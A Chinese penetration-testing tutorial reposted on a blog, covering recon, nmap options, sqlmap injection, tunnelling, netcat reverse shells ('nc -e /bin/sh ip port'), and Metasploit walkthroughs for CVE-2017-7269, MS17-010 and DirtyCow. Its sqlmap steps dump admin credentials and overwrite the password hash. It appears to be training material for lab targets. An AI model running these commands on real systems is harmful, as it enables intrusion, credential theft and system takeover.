• 破壳笔记-渗透测试


    A.介绍

    1、根据渗透方法分类

    1、黑箱测试

    黑箱测试又被称为所谓的“Zero-Knowledge Testing”,渗透者完全处于对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNS、Web、Email及各种公开对外的服务器。

    2、白盒测试

    白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。

    3、灰箱测试

    灰箱测试就像黑箱测试一样是通过用户界面测试,但是测试人员已经有所了解该软件或某种软件功能的源代码程序具体是怎样设计的。甚至于还读过部分源代码。 因此测试人员可以有的放矢地进行某种确定的条件/功能的测试。

    2、渗透测试流程(细分版本)

    3、信息收集的方式

    1. 收集域名信息

    1.1. Whois查询

    1.2. 备案信息查询

    2. 收集敏感信息 (Google Hack)

    3. 收集子域名信息 (子域名挖掘机,subDomainsBrute,Sublist3r)

    4. 收集常用端口信息 (nmap)

    5. 指纹识别

    6. 查找真实IP

    7. 收集敏感目录文件

    8. 社会工程学

    4、渗透测试的目的

    A.了解入侵者可能利用的途径

    1.信息不当 ;

    2.网络架构问题 ;

    3.防火墙设置问题;

    4.系统及应用程序的漏洞

    B.了解系统及网络的安全强度

    1.评估同等能力的入侵者大约花费多久时间才能入侵成功;

    2.评估遭到入侵后可能造成的影响;

    3.评估信息安全政策的落实程度

    C.了解弱点、强化安全

    1.强化系统及网络的安全;

    2.降低遭到入侵后的损失。

    二.信息收集方法

    1、dnsbrute的安装和使用

    2、常用的Google hack

    1、inurl:

    搜索我们指定的字符是否存在于URL中.例如输入:inurl:php?id=,将返回N个类似于这样的连接:http://www.xxx.com /xxx.php?id=xxx,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

    2、intext:

    这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:公司.将返回所有在网页正文部分包含"公司"的网页.allintext:使用方法和intext类似.

    3、 intitle:

    搜索网页标题中包含有特定字符的网页。例如输入“intitle: cba”,这样网页标题中带有cba的网页都会被搜索出来。

    4、Filetype:

    搜索指定类型的文件。例如输入“filetype:cba”,将返回所有以cba结尾的文件URL

    5、cache:

    搜索google里关于某些内容的缓存

    6、Site:找到与指定网站有联系的URL。例如输入“Site:family.chinaok.com”。所有和这个网站有联系的URL都会被显示。

    7、info: 查找指定站点的一些基本信息

    8、Filetype:

    Filetype的作用是搜索指定文件。假如我们要搜索网站的数据库文件,那么可以以“filetype:doc”为关键字进行搜索,很快 就可以下载到不少网站的数据库文件。当然,Filetype语法的作用不仅于此,在和其他语法配合使用的时候更能显示出其强大作用。

    三.信息收集:搜索引擎的应用

    1、GSIL安装和使用参考链接:

    https://github.com/FeeiCN/GSIL

    注意:要在Python3的环境下测试,Python2无法运行

    2、什么是CDN?

    基本概念:

    CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。

    主要特点:

    1、本地Cache加速 提高了企业站点(尤其含有大量图片和静态页面站点)的访问速度,并大大提高以上性质站点的稳定性

    2、镜像服务 消除了不同运营商之间互联的瓶颈造成的影响,实现了跨运营商的网络加速,保证不同网络中的用户都能得到良好的访问质量。

    3、远程加速 远程访问用户根据DNS负载均衡技术智能自动选择Cache服务器,选择最快的Cache服务器,加快远程访问的速度

    4、带宽优化 自动生成服务器的远程Mirror(镜像)cache服务器,远程用户访问时从cache服务器上读取数据,减少远程访问的带宽、分担网络流量、减轻原站点WEB服务器负载等功能。

    5、集群抗攻击 广泛分布的CDN节点加上节点之间的智能冗余机制,可以有效地预防黑客入侵以及降低各种D.D.o.S攻击对网站的影响,同时保证较好的服务质量 。

    传统的访问流程:

    互联网的设计理念是:网络是中立的和无控制的,任何人都没有决定权;网络是应用无关的,他的任务就是如何更好的将数据包进行端到端的传输。

    B/S架构,即Browser-Server(浏览器-服务器)架构,是对传统C/S架构的一种变化或者改进架构。在这种架构下,用户只需使用通用浏览器,主要业务骡子在服务器端实现。B/S架构,主要是利用了不断成熟的WWW浏览器技术,结合浏览器的多种Script语言和ActiveX等技术,在通用浏览器上实现C/S架构霞需要复杂的软件才能实现强大功能。

    CDN访问流程:

    (1)当用户点击网站页面的内容URL,经过本地DNS系统解析,DNS系统会最终将域名的解析权交给CNAME只想的CDN专用DNS服务器。

    (2)CDN的DNS服务器将CDN的全局负载均衡设备IP地址返回用户。

    (3)用户向CDN的全局负载均衡设备发起内容URL访问请求。

    (4)CDN全局负载均衡设备根据用户IP地址,以及用户请求的内容URL,选择一台用户所属区域负载均衡设备,告诉用户向这台设备发起请求。

    (5)区域负载负载均衡设备会为用户选择一台合适的缓存服务器提供服务,选择的依据包括:根据用户IP地址,判断那一台服务器距离用户最近;根据用户所请求的URL中所携带的内容名称,判断哪一台服务器上有用户所需内容;查询各个服务器当前的负载情况,判断哪一台服务器尚有服务能力。基于以上这些条件的综合分析之后,区域负载均衡设备会向全局负载均衡设备返回一台缓存服务器的IP地址。

    (6)全局负载均衡设备把服务器的IP地址返回给用户。

    (7)用户向缓存服务器发起请求,缓存服务器相应用户请求,将用户所需内容传送到用户终端。如果这台缓存服务器上并没有用户想要的内容,而区域均衡设备依然将它分配给了用户,那么这台服务器就要向它的上一级缓存服务器请求内容,直至追溯到网站的原服务器将内容拉到本地。

    DNS服务器根据用户IP地址,将域名解析成相应节点的缓存服务器IP地址,实现用户就近访问。使用CDN服务的网站,只需将其域名解析权交给CDNde GSLB 设备,将需要分发的内容注入CDN,就可以实现内容加速。

    3、Shodan语法

    寻找广州的apache服务器:apache city:”guangzhou”

    查找位于国内的 Nginx 服务器:nginx country:"CN"

    查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"

    查找指定网段的华为设备:huawei net:"61.191.146.0/24"

    参考链接:https://blog.csdn.net/wyvbboy/article/details/53463101

    四.利用 Web 漏洞利用获取 webshell

    1、常用cms安装过程

    此过程   找到来到我们的漏洞存在处,链接为:http://127.0.0.1/cms1/index.php?r=vul&keyword=1

    2、sqlmap注入语法:

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword -—current-db

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword —tables -D bagecms

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword —columns -T bage_admin -D bagecms

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword —dump -C username,password -T bage_admin -D bagecms

    sqlmap.py -u “/index.php?r=vul&keyword=1” —dbms=mysql -p keyword —sql-shell

    sql-shell>update bage_admin set password = 'e10adc3949ba59abbe56e057f20f883e'; (hash值为123456)

    五.服务漏洞发现与利用

    1、Nmap的基本使用

    参考链接https://www.xuebuyuan.com/3183877.html

    nmap 在linux服务器下的使用

    官网 nmap.org centos下可以yum install namp 进行安装

    4种常用的扫描

    1.nmap -sP 1.1.1.1/24

    探测C段存活主机,可以用 |grep up 过滤存活的主机

    2. nmap -sS 1.1.1.1-30 -p 80

    SYN扫描,指定IP范围指定端口。

    3.nmap -sV 1.1.1.1 -p 1-65535

    探测端口的服务和版本

    4.nmap -O 1.1.1.1 或 nmap -A 1.1.1.1

    探测操作系统类型和版本

    1 概述

    nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。

    nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片扫描,以及灵活的目标和端口设定.nmap总会给出well known端口的服务名(如果可能)、端口号、状态和协议等信息。

    每个端口的状态有:open、filtered、 unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。

    filtered状态表示:防火墙、包过滤和其 它的网络安全软件掩盖了这个端口,禁止 nmap探测其是否打开。

    unfiltered表示:这个端口关闭,并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下,端口的状态基本都 是unfiltered状态,只有在大多数被扫描的端口处于filtered状态下,才会显示处于unfiltered状态的端口。

    根据使用的功能选 项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、 以及其它一些东西。

    可以使用nmap -h快速列出功能选项的列表。

    2 语法

    nmap [Scan Type(s)] [Options]

    扫描类型

    -sT

    TCP connect()扫描:这是最基本的TCP扫描方式。

    connect()是一种系统调用,由操作系统提供,用来打开一个连接。如果目标端口有程序监听, connect()就会成功返回,否则这个端口是不可达的。这项技术最大的优点是,你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这 种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。

    -sS

    TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回应。如果对方返 回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包,源主机就会马上 发出一个RST(复位)数据包断开和目标主机的连接,这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是,很少有系统能够把这记入系统日志。 不过,你需要root权限来定制SYN数据包。

    -sF -sX -sN

    秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。

    一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而 且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。

    这些扫描方式的理论依据是:关闭的端口需要 对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标 准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可 以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫

    描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有 其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打 开的端口发出复位数据包。

    -sP

    ping扫描:有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地址发送ICMP echo请求数据包,nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是,一些站点例如:microsoft.com阻塞ICMP echo请求数据包。然而,在默认的情况下nmap也能够向80端口发送TCP ack包,如果你收到一个RST包,就表示主机正在运行。nmap使用的第三种技术是:发送一个SYN包,然后等待一个RST或者SYN/ACK包。对于 非root用户,nmap使用connect()方法。

    在默认的情况下(root用户),nmap并行使用ICMP和ACK技术。注意,nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。如果你只是想知道目标主机是否运行,而不想进行其它扫描,才会用到这个选项。

    -sU

    UDP扫描:如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务,可以使用这种扫描方法。nmap首先向目标主机的每个端口发 出一个0字节的UDP包,如果我们收到端口不可达的ICMP消息,端口就是关闭的,否则我们就假设它是打开的。有些人可能会想UDP扫描是没有什么意思 的。但是,我经常会想到最近出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上,这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能!cDc

    Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。

    不考虑一些通常的安全缺陷,一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是,UDP扫描有时非常缓慢,因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如,在Linux内核中 (在net/ipv4/icmp.h 文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息,如果超过这个比例,就会给1/4秒钟的处罚。 solaris的限制更加严格,每秒钟只允许出现大约2条ICMP不可达消息,这样,使扫描更加缓慢。nmap会检测这个限制的比例,减缓发送速度,而不 是发送大量的将被目标主机丢弃的无用数据包。不过MicroSoft忽略了RFC1812的这个建议,不对这个比例做任何的限制。所以我们可以能够快速扫

    描运行Win95/NT的主机上的所有65K个端口。

    -sA

    ACK扫描:这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下,这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序,只是阻塞 进入的SYN包。这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包,这个端口就标记为unfiltered状态。如 果什么都没有返回,或者返回一个不可达ICMP消息,这个端口就归入filtered类。注意,nmap通常不输出unfiltered的端口,所以在输 出中通常不显示所有被探测的端口。显然,这种扫描方式不能找出处于打开状态的端口。

    -sW

    对滑动窗口的扫描:这项高级扫描技术非常类似于ACK扫描,除了它有时可以检测到处于打开状态的端口,因为滑动窗口的大小是不规则的,有些操作系统可以报 告其大小。这些系统至少包括:某些版本的AIX、Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。

    -sR

    RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令,以确定它们是否是RPC端口,如果是,就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。

    FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征,它支持代理FTP连接。也就是说,能够从evil.com连接到FTP服务器target.com,并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件!1985年,RFC959完成时,这个特征就能很好地工作了。然而,在今天的Internet 中,我们不能让人们劫持FTP服务器,让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的,这个协议"能够用来 做投递虚拟的不可达邮件和新闻,进入各种站点的服务器,填满硬盘,跳过防火墙,以及其它的骚扰活动,而且很难进行追踪"。我们可以使用这个特征,在一台代

    理FTP服务器扫描TCP端口。因此,你需要连接到防火墙后面的一台FTP服务器,接着进行端口扫描。如果在这台FTP服务器中有可读写的目录,你还可以 向目标端口任意发送数据(不过nmap不能为你做这些)。传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为:

    -b username:password@server:port。

    除了server以外,其余都是可选的。

    通用选项(这些内容不是必需的,但是很有用)

    -P0

    在扫描之前,不必ping主机。有些网络的防火墙不允许ICMP echo请求穿过,使用这个选项可以对这些网络进行扫描。microsoft.com就是一个例子,因此在扫描这个站点时,你应该一直使用-P0或者-PT 80选项。

    -PT

    扫描之前,使用TCP ping确定哪些主机正在运行。nmap不是通过发送ICMP echo请求包然后等待响应来实现这种功能,而是向目标网络(或者单一主机)发出TCP ACK包然后等待回应。如果主机正在运行就会返回RST包。只有在目标网络/主机阻塞了ping包,而仍旧允许你对其进行扫描时,这个选项才有效。对于非 root用户,我们使用connect()系统调用来实现这项功能。使用-PT来设定目标端口。默认的端口号是80,因为这个端口通常不会被过滤。

    -PS

    对于root用户,这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。如果主机正在运行就返回一个RST包(或者一个SYN/ACK包)。

    -PI

    设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。使用这个选项让nmap发现正在运行的主机的同时,nmap也会对你的直接子网广播地址进行观察。直接子网广 播地址一些外部可达的IP地址,把外部的包转换为一个内向的IP广播包,向一个计算机子网发送。这些IP广播包应该删除,因为会造成拒绝服务攻击(例如 smurf)。

    -PB

    这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。

    这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。换句话说,nmap使用一些技术检测目标主机操作系统网络协议栈的特征。nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。

    这个选项打开nmap的反向标志扫描功能。Dave Goldsmith 1996年向bugtap发出的邮件注意到这个协议,ident 协议(rfc 1413)允许使用TCP连接给出任何进程拥有者的用户名,即使这个进程并没有初始化连接。例如,你可以连接到HTTP端口,接着使用identd确定这 个服务器是否由root用户运行。这种扫描只能在同目标端口建立完全的TCP连接时(例如:-sT扫描选项)才能成功。使用-I选项是,远程主机的 identd精灵进程就会查询在每个打开的端口上监听的进程的拥有者。显然,如果远程主机没有运行identd程序,这种扫描方法无效。

    这个选项使nmap使用碎片IP数据包发送SYN、FIN、XMAS、NULL。使用碎片数据包增加包过滤、入侵检测系统的难度,使其无法知道你的企图。 不过,要慎重使用这个选项!有些程序在处理这些碎片包时会有麻烦.在nmap中使用了24个字节的碎片数据包。虽然包过滤器和防火墙不能防这种方法,但是 有很多网络出于性能上的考虑,禁止数据包的分片。这个选项不能在所有的平台上使用。它在Linux、FreeBSD、OpenBSD以及其它一些UNIX 系统能够很好工作。

    冗余模式。它会给出扫描过程中的详细信息。使用这个选项,可以得到事半功倍的效果。使用-d选项可以得到更加详细的信息。

    快速参考选项。

    -oN

    把扫描结果重定向到一个可读的文件logfilename中。

    -oM

    把扫描结果重定向到logfilename文件中,这个文件使用主机可以解析的语法。你可以使用-oM -来代替logfilename,这样输出就被重定向到标准输出stdout。在这种情况下,正常的输出将被覆盖,错误信息荏苒可以输出到标准错误 stderr。要注意,如果同时使用了-v选项,在屏幕上会打印出其它的信息。同样,使用-oS -就会把结果重定向到标准输出上

    使用nmap扫描局域网mac地址的例子:

    nmap -sP -PI -PT -oN ipandmaclist.txt 192.168.1.0/24

    在文件ipandmaclist.txt文件中就可以查看ip对应的mac地址了。

    2、nfs服务的安装(CENTOS 7)

    要安装NFS服务,必须先安装NFS和RPC两个安装包

    下载NFS和RPC安装包:yum install nfs-utils rpcbind -y

    安装:rpm -qa nfs-utils rpcbind

    启动(一定要先启动RPC服务,再启动NFS服务):service rpcbind start、service nfs start

    查看NFS服务向rpc注册的端口信息,主端口号是:111:rpcinfo -p you的ip

    配置NFS服务端的文件:

    NFS默认配置文件路径为:/etc/exports,文件默认是空的。

    /etc/exports配置文件的格式是:

    NFS共享的目录 NFS客户端地址(参数1,参数2)

    比如:/data 192.168.1.0/24(rw,sync)

    /data是服务器端共享的目录

    172.16.1.0/24共享目录的客户端ip地址

    (rw,sync) ,其中rw代表拥有读写的权限,sync代表数据同步写入NFS服务器端的硬盘中。也可以用async,async是大数据时使用,是先写到缓存区,再写到磁盘里。

    配置完成之后我们重启服务:service nfs restart

    鉴于本实验:建议大家如果没有利用nmap扫描到端口的,可以参考一下如何将111端口和2049端口加入到防火墙规则中,或者直接使用systemctl stop firewalld关闭防火墙即可

    3、rsync服务的安装(CENTOS 7)

    1、下载

    wget https://download.samba.org/pub/rsync/src/rsync-3.1.2.tar.gz

    tar -zxvf rsync-3.1.2.tar.gz

    2、安装

    cd rsync-3.1.2

    ./configure —prefix=/usr/local/rsync

    make

    make install

    3、配置rsyncd.conf

    vim /usr/local/rsync/rsyncd.conf

    rsyncd.conf 的内容如下:

    ### 全局参数 ###

    port=8730 # 【注意:默认端口是873,这里改用8730了】

    motd file=/usr/local/rsync/rsyncd.motd

    log file=/usr/local/rsync/rsyncd.log

    pid file=/var/run/rsyncd.pid

    ### 模块参数 ###

    [testmodule]

    path=/home/test

    use chroot=true

    uid=0

    gid=0

    read only=false

    exclude=/readme.txt /runtime

    #auth users后的用户名随便给,可以是系统中不存在的用户名

    auth users=txinz

    secrets file = /usr/local/rsync/rsyncd.secrets

    4、配置rsyncd.secrets

    vim /usr/local/rsync/rsyncd.secrets

    rsyncd.secrets的内容的语法为 用户名:登录密码

    举例

    txinz:qwert54321

    # rsyncd.secrets文件权限必须设置为600

    chmod 600 /usr/local/rsync/rsyncd.secrets

    5、配置rsyncd.motd

    vim /usr/local/rsync/rsyncd.motd

    rsyncd.motd的内容举例:

    welcome use rsync service !

    6、启动rsync服务

    /usr/local/rsync/bin/rsync —daemon —config=/usr/local/rsync/rsyncd.conf

    4、tomcat服务的安装(最简单的安装方式)(CENTOS 7)

    下载:wget http://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-7/v7.0.91/bin/apache-tomcat-7.0.91.tar.gz

    解压:tar -zxvf tomcat压缩包

    进入tomcat的bin目录下:cd /tomcat/bin

    启动:./startup.sh

    直接访问:http://you-ip:8080

    六.进入内网的几种方法

    1、reGeorg的安装和使用

    1.1安装python,安装完后验证python是否安装成功:命令提示符下敲Python —verseion

    1.2安装reGeorg,下载reGeorg-master (https://github.com/sensepost/reGeorg),Copy到 C:Python27

    1.3安装setuptools,下载ez_setup.py(https://pypi.python.org/pypi/setuptools#windows-simplified),Copy到 C:Python27

    在命令行下切换到setup.py的目录下,执行如下命令:(看到Finished即可)

    python setup.py build

    python setup.py install

    1.4 安装Pip,下载地址http://pypi.python.org/packages/source/p/pip/pip-1.0.tar.gz ,随意解压到任何目录,命令行切换到目录之下

    (b) 依次运行如下命令

    python setup.py build

    python setup.py install

    看到 Finished就可以了,表示Pip安装成功。执行如下命令即为成功安装:pip -V

    1.5 安装urllib3。(urllib3是reGeorg开启代理必需的模块)

    在命令提示符下切换到C:Python27Scripts,直接运行pip install urllib3

    使用方法:(需要配合其他软件或者程序使用)

    将reGeorg文件下的脚本通过某种方式上传到远程服务器上,比如说我上传了tunnel.php

    开启socks5反向代理:

    python reGeorgSocksProxy.py -p 1234 -u http://xx.xx.xx.xx/tunnel.php

    2、proxycap下载地址:http://www.proxycap.com/download.html

    proxycap使用教程:https://jingyan.baidu.com/article/335530daf647c919cb41c3dc.html

    3、反弹shell的介绍和几种常见方式

    一、NC反弹shell

    1、在渗透过程中,我们拿到了目标服务器的shell,但是查看ip的时候发现是没网IP,这个时候如果想要连接3389就需要用到端口转发,但是菜刀的交互性不是很好,如果目标是Windows服务器我们就需要上传一个nc,然后将cmd反弹到我们的主机上,当然linux直接运行nc就可以了。

    2、linux服务器:我们现在自己的主机上运行nc -lcv port,然后在服务器上运行nc -e /bin/sh ip(我们自己的) port

    3、windows服务器:和linux的服务器一样,只是在服务器上运行nc -e cmd.exe ip port

    一般我们最常用的反弹shell的办法有:nc,bash,netcat,或者是利用python脚本或者shell脚本进行反弹。

    针对windows系统的话,我们也可以用msf进行攻击,建立会话,最终反弹一个可执行命令的shell

    七.Metasploit 介绍与基本用法

    1、CVE-2017-7269的演示(单独)

    环境:Windows Server 2003 R2

    工具:metasploit

    漏洞介绍:Windows Server 2003R2版本IIS6.0的WebDAV服务中的ScStoragePathFromUrl函数存在缓存区溢出漏洞,远程攻击者通过以“If: <http://”开头的长header PROPFIND请求,执行任意代码。

    cve-2017-7269的攻击模块,下载地址:https://github.com/zcgonvh/cve-2017-7269

    步骤:

    打开msfconsole

    使用cve-2017-7269模块:

    设置参数:

    查看配置参数:

    开始攻击:(成功返回shell)

    2、MS17-010的演示(单独)

    漏洞环境:windows 7 企业版 X64位

    工具:metasploit

    漏洞介绍:

    MS17-010是微软Windows 系统SMB协议的漏洞。由于某些请求的处理不当,Microsoft Server Message Block 1.0(SMBv1)中存在多个远程代码执行漏洞,远程Windows主机受到以下漏洞的影响:CVE-20170143,CVE-20170144,CVE-20170145,CVE-20170146,CVE-20170148。远程攻击者不需要身份验证就可以利用这些漏洞,通过专门制作的数据包来执行任意代码。

    2017年4月黑客团体影子经纪人(Shadow Brokers)窃取了美国国家安全局一份包含了SMB漏洞利用工具在内的文件,蓄意勒索,最后将其公之于众,吸引一批黑客团体利用这些工具开发成勒索软件对SMB漏洞MS17-010展开攻击,由此暴发了WannaCry勒索病毒事件

    步骤:

    打开msfconsole

    使用攻击模块,设置payload和参数,执行攻击:

    3、Metasploit的基本用法和模块介绍

    Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

    这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

    从kali里面进入msfconsole,可以通过界面得知版本和攻击模块等的数量

    我们可以使用search,来寻找我们想要的攻击模块,以ms17-010为例

    然后我们就可以使用use,来使用我们想要利用的攻击模块

    可以使用show options查看当前设置的参数,也可以使用set来设置payload参数

    set payload windows/x64/meterpreter/reverse_tcp

    使用set RHOST 来设置我们想要攻击的对象,使用set LHSOT来设置我们本地的IP。

    设置完相关的参数之后,我们就可以使用run或者exploit来进行攻击。

    如果攻击成功,我们就会建立一个会话,这个时候我们可以使用shell命令来反弹回一个可以执行命令的shell

    八.常见的提权方式

    1、Linux中/etc/passwd文件详解

    https://blog.csdn.net/a1154490629/article/details/52190801

    2、SUID格式

    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

    但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

    3、Dirtycow漏洞介绍

    DirtyCow内核漏洞被认为是内核至今曝出的最严重提权漏洞,它最早是在2007年引入到内核中的,非常容易被利用,安全研究人员已经开发了多个root Android 设备的概念验证代码。独立安全研究员 David Manouchehri 的POC代码只用几行代码就能获取到他测试的Android 设备的root访问权限。Manouchehri 说,任何人只要熟悉Android文件系统就能很容易的开发出root工具。在理论上它能用于root自Android 1.0以来的所有Android设备。Android 1.0使用的内核版本是kernel 2.6.25,而DirtyCow漏洞存在于自kernel 2.6.22后的所有版本。

    漏洞介绍:https://blog.csdn.net/IChen86/article/details/52972011?locationNum=5&fps=1

    漏洞复现:https://blog.csdn.net/wanzt123/article/details/81879680

    4、Linux系统提权思路

    http://www.freebuf.com/articles/system/129549.html

    https://blog.csdn.net/Fly_hps/article/details/80428173

    http://www.91ri.org/7911.html

    注:以上大多转自破壳笔记学习资料,欢迎大家前来报名学习

  • 相关阅读:
    反射
    特性(Attribute)
    简单了解Ado.net(下)
    幸福不会来敲门
    C#网络编程之服务客户模式在控制台下的简单交互
    简单了解Ado.net(上)
    简单实体框架
    自己动手写泛型List<T>
    opencv学习之路(1)
    C语言学习之文件操作(含重庆大学研究生程序设计大赛的题目和解答)
  • 原文地址:https://www.cnblogs.com/klsfct/p/11192537.html
Copyright © 2020-2023  润新知